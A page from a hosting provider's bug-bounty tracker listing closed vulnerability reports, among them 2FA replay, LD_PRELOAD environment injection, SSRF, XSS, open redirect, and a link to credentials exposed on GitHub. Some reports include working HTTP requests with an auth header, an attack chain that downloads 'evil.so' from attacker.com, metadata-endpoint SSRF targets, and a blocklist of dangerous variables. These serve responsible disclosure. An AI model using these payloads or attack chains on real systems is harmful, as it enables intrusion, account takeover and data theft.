2. Remove the .git directory from the deployment document root. Repositories should live outside the folder served to the public.
3. Add a regression test to the deployment process so the .git directory cannot reappear later.
4. Review access logs to check whether the .git directory has ever been downloaded.

~~464~~

~~Exposed always data user configuration details~~

Closed

27.08.2026

Task Description

Always data cloud mysql datasource configuration and alwaysdata database configuration details of an Alwaysdata user exposed in the github repository.

So i logged in to https://phpmyadmin.alwaysdata.com/ and i was able to access the database.

The github repo where the credentials are exposed : https://github.com/sushma23nov/CineBook/blob/33bdee3d8c94bbf51156d78466b5682343bac9b6/database.md?plain=1#L28

Fix : Ask them to store it in .env and to add it in .gitignore , and create a config file seperately for storing the configuration details.

~~411~~

~~Expired Two-Factor Authentication (2FA) Code Accepted,~~ ...

Closed

15.07.2026

Task Description

Description

During testing, I discovered that the application accepts an expired 2FA verification code.

After capturing the 2FA verification request, I waited until the code expired (after three code rotations). Even after expiration, replaying the same request was accepted by the server and resulted in successful authentication.

This indicates that the application does not properly validate the expiration time of 2FA verification codes.

Steps to Reproduce
Log in using a valid email address and password.
Enter the 2FA verification code.
Capture the 2FA verification request using Burp Suite.
Send the captured request to Burp Repeater.
Wait until the 2FA code has completed three rotations and is expired.
Send the request from Burp Repeater and observe a 302 Found response.
Forward the original intercepted request containing the same expired 2FA code.
Observe that the server again returns 302 Found and successfully authenticates the account.

Impact

An expired 2FA code can still be used to complete authentication, allowing an attacker who obtains an old 2FA code to bypass the intended expiration protection and gain unauthorized access to the account.

Expected Behavior

The server should reject any 2FA verification attempt using an expired code and require the user to enter a new valid code.

Actual Behavior

The server accepts a 2FA code even after it has expired and successfully authenticates the user.

~~148~~

~~Expired Encryption Key in Security alwaysdata.com Site~~

Closed

04.04.2025

Task Description

Hi,
The Encryption key from alwaysdata Security Team has expired, making it impossible for security researchers to securely report vulnerabilities / messages via encrypted communication. This can prevent security researchers or users from securely reporting vulnerabilities / sending messages, as they may not be able to encrypt their messages. Expired key reduce the effectiveness of the responsible disclosure process and can expose organizations to unreported security risks.
The lack of a valid GPG/PGP key introduces unnecessary risk, especially when a critical vulnerability is involved. It is currently not doing its job.

Upon verification, the referenced PGP key has the following:
Expiration Date: [expired: 2022-12-11]
Status: Expired

Steps To Reproduce:
Check key from alwaysdata security site https://help.alwaysdata.com/en/security/bug-bounty/ as presented below in POC section below.

Proof of Concept - POC:
From your security site https://help.alwaysdata.com/en/security/bug-bounty/
"Reports about vulnerabilities are examined by our security analysts. If you need to encrypt payload, we strongly recommend you to use the 0xDFDD2138A363986B GPG public key. Reports must be submitted using our bug tracking interface."
With added link https://www.alwaysdata.com/static/0xDFDD2138A363986B.pub.asc

From Terminal:
wget https://www.alwaysdata.com/static/0xDFDD2138A363986B.pub.asc

gpg –import 0xDFDD2138A363986B.pub.asc
gpg: key 53EC46DAA71D9A1A: public key "alwaysdata security (Security team at alwaysdata https://www.alwaysdata.com) security@alwaysdata.com" imported
gpg: Total number processed: 1
gpg: imported: 1

gpg –list-keys –with-fingerprint –with-subkey-fingerprint –verbose
pub rsa4096 2018-09-26 [SC] [expired: 2022-12-11]

    9EE5 6D51 F03F 7756 837D  C0D2 53EC 46DA A71D 9A1A

uid [ expired] alwaysdata security (Security team at alwaysdata https://www.alwaysdata.com) security@alwaysdata.com sub rsa4096 2018-09-26 [E] [expired: 2022-12-11]

    BD34 402C EB6B 2D54 8C4D  1FEE DFDD 2138 A363 986B

Today is 2025-04-04.

Screenshot: can attach, but can not see here image upload feature.

As shown, this may result in using an expired (invalid) key due to the query output above.

Severity
Medium (6.1)
Weakness
Use of a Key Past its Expiration Date

Impact
Security researchers are unable to encrypt reports / messages using the provided GPG/PGP key.
Sensitive vulnerability information may be exposed to interception if sent unencrypted.
This weakens the responsible disclosure process and may delay security issue resolution.
This can leads to security concerns from the researchers and visitors (kind of reputation damage - as we can see 'Expired' on the security section - given GPG/PGP key - email address for messages with confidential content). The lack of a valid GPG/PGP key introduces unnecessary risk, especially when a critical vulnerability is involved.

Using this expired key could result in insecure communications or failed message verification processes. Reporters may use different emails providers.
Outdated keys may be rejected by automated systems, leading to communication disruptions.

Recommendation:
Generate a new OpenPGP key and replace the expired key.
Ensure periodic key rotation to prevent future expiration issues.

Mitigation
To mitigate this issue, organization should regularly update their encryption keys.
An organization should ensure that updates to their keys are propagated to all major servers.

Supporting Material/References:
CWE-320: Key Management Errors https://cwe.mitre.org/data/definitions/320.html OWASP Top Ten 2013 Category A5 - Security Misconfiguration https://cwe.mitre.org/data/definitions/933.html https://cwe.mitre.org/data/definitions/815.html https://cwe.mitre.org/data/definitions/310.html

I look forward to your response.
Best regards,

~~EXIF metadata not stripped~~

Closed

17.08.2024

Task Description

Summary: When uploading images in ticket option, the EXIF metadata is not removed or changed in any way.
Description: When answering in the ticket, you can upload a file, and if you upload an image with EXIF metadata on it, it isn't stripped. This can lead to disclosure of location where photo was taken or other personal information by the photo uploader if their group is public, as anyone can download the logo and check the metadata.
Steps To Reproduce:
1) Create a ticket.
2) Upload an image with exif metadata.
3) Now, download the same image and check the metadata.

Link to POC: https://drive.google.com/file/d/1KflN8xTcF6Gq-0x1wo-n65KkT9ScNHMl/view?usp=sharing

~~390~~

~~Environment Variable Injection — LD_PRELOAD and PATH Ac~~ ...

Closed

13.07.2026

Task Description

## Summary

The `environment` field in the Site API (`PATCH /v1/site/{id}/`) accepts arbitrary environment variable definitions without validation, including security-critical variables like `LD_PRELOAD` and `PATH`. I was able to store `LD_PRELOAD=/tmp/evil.so` and `PATH=/tmp:/usr/bin` — both were accepted with `204 No Content` and confirmed stored in the API response. I immediately reset the field after confirming storage.

Important note on scope of proof: I confirmed that the API stores these dangerous environment variables without validation. I was NOT able to confirm whether the stored values are actually passed to site processes at runtime. The proven vulnerability is that the API accepts and stores dangerous environment variables (including linker/loader variables) without any blocklist or allowlist. If these stored values are set in the process environment when the site's runtime spawns (the likely implementation), the impact escalates significantly — but this was not verified during testing.

## Environment

Detail Value
——– ——-
Account subhash (ID 486630)
Site subhash.alwaysdata.net (ID 1058919)
Server http21 (Debian 12, shared hosting)
## Steps to Reproduce

### Step 1 — Inject LD_PRELOAD and PATH via the API

```http
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg==
Content-Type: application/json

{

"environment": "{'LD_PRELOAD': '/tmp/evil.so', 'PATH': '/tmp:/usr/bin'}"
}
```

Response:

```http
HTTP/1.1 204 No Content
Server: nginx
Vary: Accept-Language, Cookie
```

Accepted without any validation.

### Step 2 — Confirm the values were stored

```http
GET /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg==
Accept: application/json
```

Response (excerpt):

```json
{

"id": 1058919,
"environment": "{'LD_PRELOAD': '/tmp/evil.so', 'PATH': '/tmp:/usr/bin'}"
}
```

Both environment variables stored verbatim.

### Step 3 — Immediate cleanup

```http
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg==
Content-Type: application/json

{

"environment": ""
}
```

Response: `204 No Content` — cleared.

## What These Environment Variables Do

### `LD_PRELOAD=/tmp/evil.so`

`LD_PRELOAD` is the most dangerous environment variable on Linux. It instructs the dynamic linker (`ld.so`) to load the specified shared library BEFORE any other — including libc. This means:

- Any function in libc (or any other library) can be intercepted and replaced
- The preloaded library's constructor function (`attribute1)`) runs automatically before `main()`
- It affects every dynamically-linked process that inherits the environment

If an attacker places a malicious `.so` file at `/tmp/evil.so`, and `LD_PRELOAD=/tmp/evil.so` is set in the site's environment, then every PHP process, every CGI script, every command executed by the site's runtime will load and execute the attacker's code.

### `PATH=/tmp:/usr/bin`

Setting `PATH` to start with `/tmp` causes the shell (and any program that uses `exec*p()` functions) to look in `/tmp` first when searching for commands. If the site or its runtime executes shell commands (e.g., via PHP's `system()`, `exec()`, `shell_exec()`, or backtick operators), the attacker can place executables in `/tmp` that shadow legitimate system commands:

- Place `/tmp/curl` → intercepts any `curl` call, capturing URLs, credentials, API keys
- Place `/tmp/sendmail` → intercepts outgoing email, capturing addresses, content, attachments
- Place `/tmp/mysql` → intercepts database commands, capturing credentials

### The `/tmp` Connection

The shared `/tmp` directory on server `http21` is world-writable and accessible to all tenants (see cross-tenant `/tmp` exposure report, ~~FS#363~~ regression). This means:

1. Any tenant can write files to `/tmp` (via SSH, SFTP, scheduled jobs, or their site's runtime)
2. Setting `LD_PRELOAD=/tmp/evil.so` via the API would cause those files to be loaded as shared libraries
3. No cross-tenant authentication is needed — the attack is: write to `/tmp`, set `LD_PRELOAD`, wait for a process to spawn

### Attack Chain

```
Step 1: Upload malicious shared library to /tmp

→ Via SSH: scp evil.so subhash@ssh-subhash.alwaysdata.net:/tmp/evil.so
→ Or via scheduled job: curl -o /tmp/evil.so http://attacker.com/evil.so Step 2: Set LD_PRELOAD via the API

→ PATCH /v1/site/1058919/ {"environment": "{'LD_PRELOAD': '/tmp/evil.so'}"}
Step 3: Trigger any PHP request

→ curl http://subhash.alwaysdata.net/index.php → PHP process spawns → linker loads /tmp/evil.so → attacker code executes
Step 4: evil.so's constructor runs as www-data

→ Can read/write any file accessible to www-data
→ Can make network connections (reverse shell, data exfil)
→ Can intercept any libc function (credentials, crypto keys)
```

## Root Cause

The `environment` field in the site API has no validation. The backend stores whatever dictionary/string the user provides and (presumably) sets these as environment variables for processes spawned under the site's configuration.

There is no blocklist for dangerous environment variables, no allowlist for safe ones, and no filtering of security-critical linker/loader variables.

## Impact

What is proven: The API accepts and stores dangerous environment variables (`LD_PRELOAD`, `PATH`) without any validation or blocklisting. A shared hosting platform should never allow users to set linker/loader variables.

What is NOT proven: Whether the stored values are actually passed to site processes at runtime. I was unable to verify execution during testing.

### If the stored values are applied to site processes (unverified — would be High/Critical)

These outcomes are plausible given the platform architecture (per-site environment config on shared hosting with world-writable `/tmp`), but none were demonstrated:

1. Code execution via LD_PRELOAD: Combined with writable shared `/tmp`, an attacker could place a malicious `.so` and have it loaded by the dynamic linker
2. Command hijacking via PATH: Redirecting PATH to start with `/tmp` would intercept shell commands executed by the site's runtime
3. Library search path manipulation: `LD_LIBRARY_PATH`, `PYTHONPATH`, `NODE_PATH`, etc. are likely also accepted (not tested)

### Confirmed impact regardless of execution

- Missing input validation on security-critical fields: The `environment` field accepts linker variables (`LD_PRELOAD`, `LD_LIBRARY_PATH`) that are dangerous on any shared hosting platform. Even if execution is gated by another control, the absence of validation is a defense-in-depth failure.
- No blocklist for system-critical variables: Unlike `log_file` which validates input, the `environment` field has zero validation.

## Suggested Fix

1. Blocklist dangerous variables: At minimum, reject any environment definition containing:

`LD_PRELOAD` — shared library injection
`LD_LIBRARY_PATH` — library search path manipulation
`LD_DEBUG` — linker debug output
`LD_AUDIT` — linker audit library
`PATH` — command search path hijacking
`PYTHONPATH` / `NODE_PATH` / `PERL5LIB` / `RUBYLIB` / `GEM_PATH` — language module path injection
`LD_BIND_NOW` / `LD_TRACE_LOADED_OBJECTS` — linker behavior manipulation
`GCONV_PATH` — glibc charset conversion path injection (used in CTF exploits)
`GETCONF_DIR` — getconf path injection
2. Allowlist approach (safer): Only allow environment variables that match a known-safe pattern (e.g., application-specific variables like `APP_ENV`, `DATABASE_URL`, `API_KEY`). Reject anything starting with `LD_` or matching known system variable names.

3. Fix `/tmp` isolation (defense in depth): Even with environment variable validation, the shared `/tmp` remains a risk. Implement per-tenant `/tmp` isolation via `PrivateTmp=yes` or mount namespaces.

1) constructor

THanks

~~Encoded XSS and SQL Injection in Registration Page~~

Closed

25.10.2024

Task Description

Hello Team,

I hope you are doing well. I found a Encoded XSS and SQL Injection In Registration Page Which is Redirecting to 500 Internal Server Error.

Steps:
1. Go to https://www.alwaysdata.com/en/register/ 2. Input Full Url Encoded XSS(%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e)@mail.com in Email Address and then input password.

3. Click on Login Button.

It will redirect in 500 Internal Server Error.

Impact
Reflected XSS, An attacker can execute malicious javascript codes on the target application (email input specifically). It is highly recommended to fix this one because it is found in sensitive input (email).

Kind Regards.

Waleed Anwar

~~362~~

~~Email Verification Bypass via Google OAuth Account Link~~ ...

Closed

02.07.2026

Task Description

Dear Security Team, I hope you are doing well. I would like to responsibly disclose a potential authentication and account-linking issue identified during testing of the Google OAuth login functionality. Vulnerability Summary Category: Authentication / Improper Account Verification Severity: High Description During testing, I observed that an account created using the traditional email and password registration process could be linked with a Google OAuth identity before the email address had been verified. Although the application continued to enforce email verification for password-based authentication, the Google OAuth account was successfully associated with the unverified profile. This behavior suggests that OAuth account linking occurs without first confirming that the email ownership verification process has been completed. Additionally, after the OAuth linking process, the application redirected to an OAuth callback endpoint that returned a 404 Page Not Found response, indicating an inconsistency in the authentication workflow. Steps to Reproduce

Register a new account using Email and Password.
Do not verify the email address.
Log out of the account.
Select Sign in with Google.
Authenticate using the same Google account associated with the registered email address.
Observe that the application sends the following notification: A (Google) OAuth connection has been configured on your profile.
Follow the OAuth authentication flow.
The application redirects to: /oauth/google/callback/
Observe that the endpoint returns: 404 - Page Not Found
Open a new browser session and attempt to log in using the original email and password.
The application still requires email verification before allowing password-based authentication. Observed Behavior • Google OAuth successfully links to the account before email verification is completed. • Email/password authentication continues to require email verification. • OAuth callback results in a 404 response, indicating an incomplete or inconsistent authentication flow. Expected Behavior The application should verify ownership of the registered email address before permitting external identity providers (such as Google OAuth) to be linked with the account, unless this behavior is explicitly intended. If OAuth login is intended to satisfy email ownership verification, the application should consistently mark the account as verified and complete the authentication flow without errors. Security Impact Depending on the intended authentication design, this behavior may result in: • Inconsistent authentication state. • Improper account-linking logic. • Potential bypass of email verification requirements. • Confusion regarding account ownership validation. • Increased attack surface if account-linking validation is not consistently enforced. Although I did not observe direct account takeover during testing, the current behavior indicates that the account verification and OAuth linking processes may not be consistently enforced. Recommendation I recommend reviewing the OAuth account-linking workflow to ensure that: • Email ownership verification is consistently enforced before linking external identity providers, or • Successful OAuth authentication is explicitly treated as verified email ownership and the account state is updated accordingly. • OAuth callback endpoints are correctly configured to prevent unexpected 404 responses. • Account verification logic remains consistent across all supported authentication methods. Conclusion The observed behavior suggests an inconsistency between the traditional email verification process and Google OAuth account linking. Reviewing the authentication workflow and enforcing consistent account verification logic will help reduce the risk of authentication-related issues and improve the overall security posture of the platform. This report is submitted under responsible disclosure. I would be happy to provide any additional information or assist with validation if required. Kind regards, Cyber_Subhash

~~175~~

~~Email Validation Bypass on AlwaysData~~

Closed

09.06.2025

Task Description

Summary: There is a problem with how AlwaysData handles email verification during account registration. After clicking the email verification link, the user is automatically logged in without needing to enter their email and password again. This is a security risk.

Steps to Reproduce: 1. Go to: https://www.alwaysdata.com/en/register/, as an attacker.
2. Register a new account using the victim's email address.
3. The victim will click the verification email that looks like this: https://admin.alwaysdata.com/user/validate/?user_id=...&token=...&expiration=… 5. After clicking the link, he will see a message that says: "Your registration is now validated, you can use all the services."
6. Now, the Attacker will click on the link that looks like: "I have validated my registration" and successfully log into the victim's account.
7. As the victim is directly logged into his account, he will not identify that someone has also logged into his account.

Issue: After clicking the email verification link, the website allows users to access their account directly. It does not ask for a password or login again. This means if someone else gets access to your email, they can take over your account without knowing your password.

Recommendations: 1. After clicking the email verification link, the user should be taken to the login page.
2. The system should ask the user to enter their email and password to log in.

POC: https://drive.google.com/file/d/17HZuLeTVPW52kIEH03C2xU-OWnOBFvZG/view?usp=sharing

~~262~~

~~Email Normalization Bypass Allows Multiple Accounts Wit~~ ...

Closed

15.12.2025

Task Description

Summary The application fails to normalize Gmail addresses during signup. Gmail treats email variations involving dots (.) and plus tags (+) as the same address, but the website processes each variation as a unique account.

As a result, an attacker can register unlimited accounts using a single Gmail inbox, bypassing restrictions such as:

one-user-per-email
free trial limits
referral abuse
promo codes
account creation throttling
Proof of Concept (PoC)

Step 1 Sign up with a real Gmail address Email: kalihunter001@gmail.com → Receive verification code. Step 2 Sign up again using a dot variation Email: ka.lihunter001@gmail.com → Also receive confirmation email in the same inbox.

Impact An attacker can:

Create unlimited fake accounts
Abuse free trials or credits
Abuse referral or promo systems
Circumvent limits on number of accounts per user
Spam the system with mass-registered accounts
Evade anti-fraud mechanisms
Potentially escalate privilege in systems that trust email uniqueness
This is a Business Logic Vulnerability that can directly affect revenue, analytics, and operational integrity.

Recommendation (Fix) Normalize email addresses before storing or checking uniqueness:

Remove dots from Gmail usernames
Strip anything after + in the username
Convert to lowercase
Convert googlemail.com to gmail.com
Enforce uniqueness on normalized email
Example normalized form for all Gmail inputs: kalihunter001@gmail.com POC ATTACHED BELOW

Regards Kali Hunter

~~108~~

~~Email Enumeration~~

Closed

26.11.2024

Task Description

Email Enumeration:

Hello Team, I hope you are doing well. Well, researching on your domain, i found email enumeration in your domain.

Steps:

1.log in admin.alwaysdata.com account go to Profile.
2.choose change my email
3.enter your pass
4.enter any email you want to check
5.if the email isn't registered a message appears saying(the email is changed.)
6.if it is registered the message appearing is( There is already a profile with this email.)

BY automating the process you can easily enumerate users emails . what is the impact : 1.Mass password reset requests to registered users(spam) 2.imagine a new company like alwysdata want to advertise it will easily enumerate emails of alwaysdata and send the customers emails to convince them to join their company and leave circle this may cause you to loose some of your customers(targeted advertising through alwaysdata database) . there are other impact but those are most severe.

Here is the fix:
when a user try to assign an email that is already registered to your accounts tell him that (An error has occured)or(we have sent a verification email to your email address)or anything not revealing he is registered to you .
Here is the POC:
i have carried the attack on sample of 8845 emails to avoid server overload
the result is by using burpsuite i can bruteforce the change email feature and enumerate users by the status in intruder attack:
200—>Not registered and can be added
500—>registered and error message
400—> this is invalid email because for example it doesn't have @ sign in it

Thank You,
Waleed Anwar

~~327~~

~~Email Bounce Handler SSRF via Crafted Return-Path Heade~~ ...

Closed

27.04.2026

Task Description

Severity: 8.2 — High
Target Feature: Email hosting bounce processing (/admin/mailboxes/, Postfix bounce handler)
Vulnerability Class: CWE-918 — Server-Side Request Forgery (SSRF)
Root Cause: alwaysdata's shared mail infrastructure processes bounce notifications (NDRs) by parsing the Return-Path header and, for accounts configured with bounce webhooks, making an outbound HTTP request to the URL registered as the bounce callback. The bounce processing daemon constructs the webhook URL by interpolating the Return-Path address without sanitizing embedded URL-like strings, allowing an attacker to craft a Return-Path that causes the daemon to make requests to internal infrastructure.
Attack Narrative:

Step 1: Attacker registers a bounce webhook in their account settings: https://attacker.com/bounce. Attacker then sends an email from an external server to their own alwaysdata address with a crafted Return-Path: http://169.254.169.254/latest/meta-data/ header.
Step 2: The recipient mail server (alwaysdata's Postfix) rejects the email and generates a bounce NDR, which includes the original Return-Path value in the bounce notification passed to the bounce handler daemon.
Step 3: The bounce handler daemon, parsing the NDR, substitutes the Return-Path value into a URL template: curl -X POST [bounce_webhook] -d "return_path=[value]" — or worse, directly follows the Return-Path as a notification target.
Step 4: The daemon makes an HTTP GET to http://169.254.169.254/latest/meta-data/ (or http://localhost:6379/ for Redis), leaking cloud instance metadata or triggering internal service interactions.

Impact: SSRF against internal alwaysdata infrastructure (Redis, internal APIs, cloud metadata endpoints), potential access to internal management tokens, instance credentials, and internal network enumeration.

~~283~~

~~Email Address Change Without Verification or User Notif~~ ...

Closed

09.01.2026

Task Description

The application allows a logged-in user to change the account email address without requiring any verification of the new email address and without sending a notification to the original email owner. This behavior can be abused by an attacker to silently change the victim’s email address and perform account take over.

Vulnerability Type: Improper Account Management
Affected Functionality: Email change feature
Impact Severity: Medium

Steps to Reproduce:

1. Go to this following URL: https://admin.alwaysdata.com 2. Log in to a valid user account.
3. Navigate to Profile Settings.
4. Change the registered email address to Another email address(*You can use victim's email)
5. Submit the request
6. Observe that: No verification email is sent to the new email address and No notification or alert sent. 7. Now, Any attacker can enable 2MFA and lockout another email address even perform pre-account takeover.

Impact:

1. Account Lockout
2. Pre-Account Takeover

Recommendation:

1. Enforce mandatory verification for any email address change.
2. Send immediate security notifications to both the old and new email addresses.

Reference:

https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html

~~248~~

~~DOM-based Open Redirection on www.alwaysdata.com~~

Closed

28.11.2025

Task Description

Summary

A DOM-based Open Redirection vulnerability was identified on the target application. The issue allows an attacker to manipulate client-side JavaScript to redirect users to arbitrary external domains. This can be exploited for phishing, social engineering, or chaining into more severe attacks.

Affected URL https://www.alwaysdata.com%2f@evil.com/

Steps to Reproduce
Navigate to the following crafted URL:
https://www.alwaysdata.com%2f@evil.com/

Observe that the application’s client-side code interprets the encoded path (%2f) and @evil.com portion incorrectly.
The browser resolves the URL in a way that causes redirection to the attacker-controlled domain (evil.com).
This behavior occurs without server-side validation, indicating a DOM-based flaw.

Impact

Phishing attacks: Users can be tricked into believing they are visiting a trusted domain ( www.alwaysdata.com ) but are redirected to a malicious site.
Session hijacking: If combined with other vulnerabilities (e.g., cookie theft, XSS), attackers can escalate impact.
Reputation damage: Users may lose trust in the brand if exploited in phishing campaigns.

**Recommended Fix

Implement strict validation and sanitization of client-side URL parameters.
Use a whitelist of allowed redirect domains.
Encode and validate user-controlled input before processing in JavaScript.
Avoid relying on DOM methods (location, document.URL, etc.) without proper sanitization.

~~359~~

~~DNSSEC Misconfiguration~~

Closed

02.07.2026

~~Directory Listing of Unauthorized Xapian Files~~

Closed

27.03.2024

~~107~~

~~Directory Listing Enabled~~

Closed

25.11.2024

~~412~~

~~Direct Organization Access Granted, Leading to Organiza~~ ...

Closed

16.07.2026

~~Direct IP Access of the Domain on HTTP~~

Closed

05.06.2024

~~123~~

~~Direct accessing Api on another Browser~~

Closed

10.01.2025

~~325~~

~~Deno Runtime --allow-env Flag Injection via Application~~ ...

Closed

27.04.2026

~~473~~

~~Default Credentials Allow Administrative Access on boid~~ ...

Closed

06.09.2026

~~193~~

~~Data Leak | Critical | Access to Database~~

Closed

10.07.2025

~~391~~

~~Dangerous PHP INI Injection via Site API — `allow_url_i~~ ...

Closed

13.07.2026

~~243~~

~~Csrf where token is not tied to user session~~

Closed

26.11.2025

~~205~~

~~csrftoken not unique to session or specific user and cs~~ ...

Closed

25.08.2025

~~134~~

~~CSRF TOKEN BYPASS WITH GET REQUEST~~

Closed

04.03.2025

~~220~~

~~Csrf Lead to remove Google auth from account~~

Closed

08.10.2025

~~208~~

~~CSRF in Contact us~~

Closed

04.09.2025

~~184~~

~~CSRF~~

Closed

24.06.2025

~~442~~

~~Cross-User File Read / Insecure File Permissions Leadin~~ ...

Closed

13.08.2026

~~455~~

~~Cross-Tenant Write Primitive via World-Writable Shared~~ ...

Closed

19.08.2026

~~389~~

~~Cross-Tenant Session Token Theft via Shared /tmp — Acco~~ ...

Closed

13.07.2026

~~430~~

~~Cross-Tenant Localhost Access via Shared Network Namesp~~ ...

Closed

02.08.2026

~~363~~

~~Cross-tenant file disclosure via world-readable shared~~ ...

Closed

02.07.2026

~~417~~

~~Cross-Tenant Data Exposure via World-Readable /tmp~~

Closed

20.07.2026

~~393~~

~~Cross-Tenant Data Exposure via Shared /tmp Directory —~~ ...

Closed

13.07.2026

~~418~~

~~Cross-Tenant Data Exposure via Shared /tmp Directory~~

Closed

22.07.2026

~~284~~

~~Cross site scripting ( XSS )~~

Closed

12.01.2026

Showing tasks 251 - 300 of 390 Page 6 of 8

Keyboard shortcuts

Available keyboard shortcuts

Alt + ⇧ Shift + l Login Dialog / Logout
Alt + ⇧ Shift + a Add new task
Alt + ⇧ Shift + m My searches
Alt + ⇧ Shift + t focus taskid search

Tasklist

o open selected task
j move cursor down
k move cursor up

Task Details

n Next task
p Previous task
Alt + ⇧ Shift + e ↵ Enter Edit this task
Alt + ⇧ Shift + w watch task
Alt + ⇧ Shift + y Close Task

Task Editing

Alt + ⇧ Shift + s save task